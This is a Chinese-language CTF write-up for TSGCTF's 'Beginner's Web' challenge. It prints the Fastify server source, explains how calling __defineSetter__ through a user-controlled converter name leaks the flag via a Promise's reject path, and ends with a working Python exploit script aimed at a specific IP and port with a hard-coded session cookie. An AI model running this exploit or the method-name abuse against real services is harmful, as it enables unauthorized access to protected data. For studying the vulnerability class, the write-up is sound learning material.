1. 程式人生 > 實用技巧 >TSGCTF-web Beginner's Web (js內建方法__defineSetter__)

TSGCTF-web Beginner's Web (js內建方法__defineSetter__)

 1 const fastify = require('fastify');
 2 const nunjucks = require('nunjucks');
 3 const crypto = require('crypto');
 4 
 5 
 6 const converters = {};
 7 
 8 const flagConverter = (input, callback) => {
 9   const flag = '*** CENSORED ***';
10   callback(null, flag);
11 };
12 
13 const base64Converter = (input, callback) => {
14 try { 15 const result = Buffer.from(input).toString('base64'); 16 callback(null, result) 17 } catch (error) { 18 callback(error); 19 } 20 }; 21 22 const scryptConverter = (input, callback) => { 23 crypto.scrypt(input, 'I like sugar', 64, (error, key) => { 24 if (error) {
25 callback(error); 26 } else { 27 callback(null, key.toString('hex')); 28 } 29 }); 30 }; 31 32 33 const app = fastify(); 34 app.register(require('point-of-view'), {engine: {nunjucks}}); 35 app.register(require('fastify-formbody')); 36 app.register(require('fastify-cookie'));
37 app.register(require('fastify-session'), {secret: Math.random().toString(2), cookie: {secure: false}}); 38 39 app.get('/', async (request, reply) => { 40 reply.view('index.html', {sessionId: request.session.sessionId}); 41 }); 42 43 app.post('/', async (request, reply) => { 44 if (request.body.converter.match(/[FLAG]/)) { 45 throw new Error("Don't be evil :)"); 46 } 47 48 if (request.body.input.length < 10) { 49 throw new Error('Too short :('); 50 } 51 52 converters['base64'] = base64Converter; 53 converters['scrypt'] = scryptConverter; 54 converters[`FLAG_${request.session.sessionId}`] = flagConverter; 55 56 const result = await new Promise((resolve, reject) => { 57 converters[request.body.converter](request.body.input, (error, result) => { 58 if (error) { 59 reject(error); 60 } else { 61 resolve(result); 62 } 63 }); 64 }); 65 66 reply.view('index.html', { 67 input: request.body.input, 68 result, 69 sessionId: request.session.sessionId, 70 }); 71 }); 72 73 app.setErrorHandler((error, request, reply) => { 74 reply.view('index.html', {error, sessionId: request.session.sessionId}); 75 }); 76 77 app.listen(59101, '0.0.0.0');

頁面下方有顯示出使用者sessionID,結合原始碼不難看出可以利用flagConverter獲得flag。因為有匹配,所以直接在converter引數傳入FLAG_${request.session.sessionId}是行不通的。

利用__defineSetter__創造出名為FLAG_${request.session.sessionId}的陣列鍵名 (${request.session.sessionId}表示sessionID)。

__defineSetter__介紹:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__

__defineSetter__有兩個引數,第一個是屬性,第二個是函式。實際上就是綁個函式在指定屬性上,當指定屬性被賦值時,該函式會被呼叫。

converters[request.body.converter](request.body.input, (error, result)是使用者可控的,(error, result)是箭頭函式有兩個引數


input輸入FLAG_${request.session.sessionId},converter引數輸入__defineSetter__就可以成功把(error, result)綁在FLAG_${request.session.sessionId}上。FLAG_${request.session.sessionId}對應箭頭函式的第一個引數error,最後能通過error把flag輸出

我們還需要對promise有所瞭解 https://blog.csdn.net/new__person/article/details/103702562

因為 __defineSetter__沒有被觸發,promise不會有返回結果,所以http沒有response

此時應該是這樣的__defineSetter(FLAG_${request.session.sessionId},(error, result) => {if (error) {reject(error);} else {resolve(result);})

我們直接回到post

紅色箭頭所指的是一個賦值操作,只要執行這條語句就能觸發我們之前的__defineSetter__。非常的amazing啊,我們只要再發一個不會在前兩個if判斷掛掉的包就能成功觸發。觸發之後就會把FLAG_${request.session.sessionId}傳入箭頭函式,作為其第一個引數error,通過reject(error)輸出。這裡使用python發包

exp:

#!/usr/bin/python3
import threading
import requests
import time

cookie = {"sessionId" : "Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY.ZyckOkEpT1GboSRLgcE1I%2BZ52%2FqfSQEZWkq1%2F5dyJB"}
def sendPayload():
    r = requests.post("http://35.221.81.216:59101",data={"converter":"__defineSetter__","input":"FLAG_Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY"},cookies=cookie)
    print(r.text)

threading.Thread(target=sendPayload).start()
requests.post("http://35.221.81.216:59101",data={"converter":"base64","input":"55555555555555555555"},cookies=cookie)

這題叫beginner可真是太艹了
本人js菜的摳腳,如果有不對的地方,望各位師傅斧正